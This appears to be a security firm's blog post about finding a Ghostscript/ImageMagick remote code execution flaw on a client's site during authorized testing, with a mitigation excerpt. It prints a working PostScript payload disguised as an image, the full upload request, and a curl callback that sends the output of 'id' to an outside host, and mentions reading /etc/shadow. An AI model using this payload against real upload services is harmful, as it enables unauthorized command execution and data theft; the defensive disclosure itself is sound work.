Menu
close
A new bypass for GhostScript which ImageMagick uses by default for dealing with PostScript, was posted yesterday which allowed attackers to launch remote code execution. This is similar in nature to the ImageTragick bug which plagued ImageMagick where image files containing postscript were sent to ImageMagick and when converted, launched commands against the OS.
As part of our continuous security efforts for our clients, we watch for vulnerabilities that could affect them, and confirm with the clients when they are affected. This was one of those times.
We discovered one of our clients was vulnerable to this exploit. We wrote up the issue and submitted it to them within 24 hours of the issue being released to the public, which they were able to fixed in minutes.
One of our clients uses ImageMagick to manage image conversions to create things such as thumbnails for their website.
The following payload was used as an image upload across all the upload functions on the dev website:
Filename: test.jpg
%!PS
userdict /setpagedevice undef
save
legal
{null restore} stopped {pop} if
{legal} stopped {pop} if
restore
mark /OutputFile (%pipe%curl${IFS}callback.softwaresecured.com/`id`)
currentdevice putdeviceprops
From previous testing with the client we already knew which OS the application was running on, so we were okay using curl. While testing, we started with a call to nslookup, since this is on both Windows and Linux. We then uploaded this POC file to the clients website.
The upload request looks something like the following:
POST /file HTTP/1.1
Host: www.helloworld.com
...snip...
Connection: close
-----------------------------184561271817366
Content-Disposition: form-data; name="file"; filename="test.jpg"
Content-Type: image/jpeg
%!PS
userdict /setpagedevice undef
save
legal
{null restore} stopped {pop} if
{legal} stopped {pop} if
restore
mark /OutputFile (%pipe%curl${IFS}callback.softwaresecured.com/`id`)
currentdevice putdeviceprops
-----------------------------184561271817366--
Which gave back the following response:
HTTP/1.1 400 Bad Request
...snip...
Connection: close
{"errors":{"image":"Image is not valid"}}
On our server we watched the logs for the curl command coming from the clients web server, waiting to see if the user’s ID was included in the URL or not and if we even receive any call at all. After trying many different upload functions, here is the response we received:
GET /www-data HTTP/1.1
User-Agent: curl/7.35.0
Host: callback.softwaresecured.com
Accept: */*
Success! We have remote command execution on the clients web server and the user running the web service is “www-data”. Other commands that worked included:
Luckily for the client, when we tried to cat the /etc/shadow file on the server, we received no data back. This means they run the web service as a lower privilege user.
As of the writing of this post there is now official fix. That being said there is an official workaround. It’s advised to update the policy.xml file which configures ImageMagick. The following is taken from the post on www.kb.cert.org:
Disable PS, EPS, PDF, and XPS coders in ImageMagick policy.xml
ImageMagick uses Ghostscript by default to process PostScript content. ImageMagick can be controlled via the policy.xml security policy to disable the processing of PS, EPS, PDF, and XPS content. For example, this can be done by adding these lines to the section of the /etc/ImageMagick/policy.xml file on a RedHat system:
301 Moodie Dr. Unit 108
Ottawa ON K2H 9C4
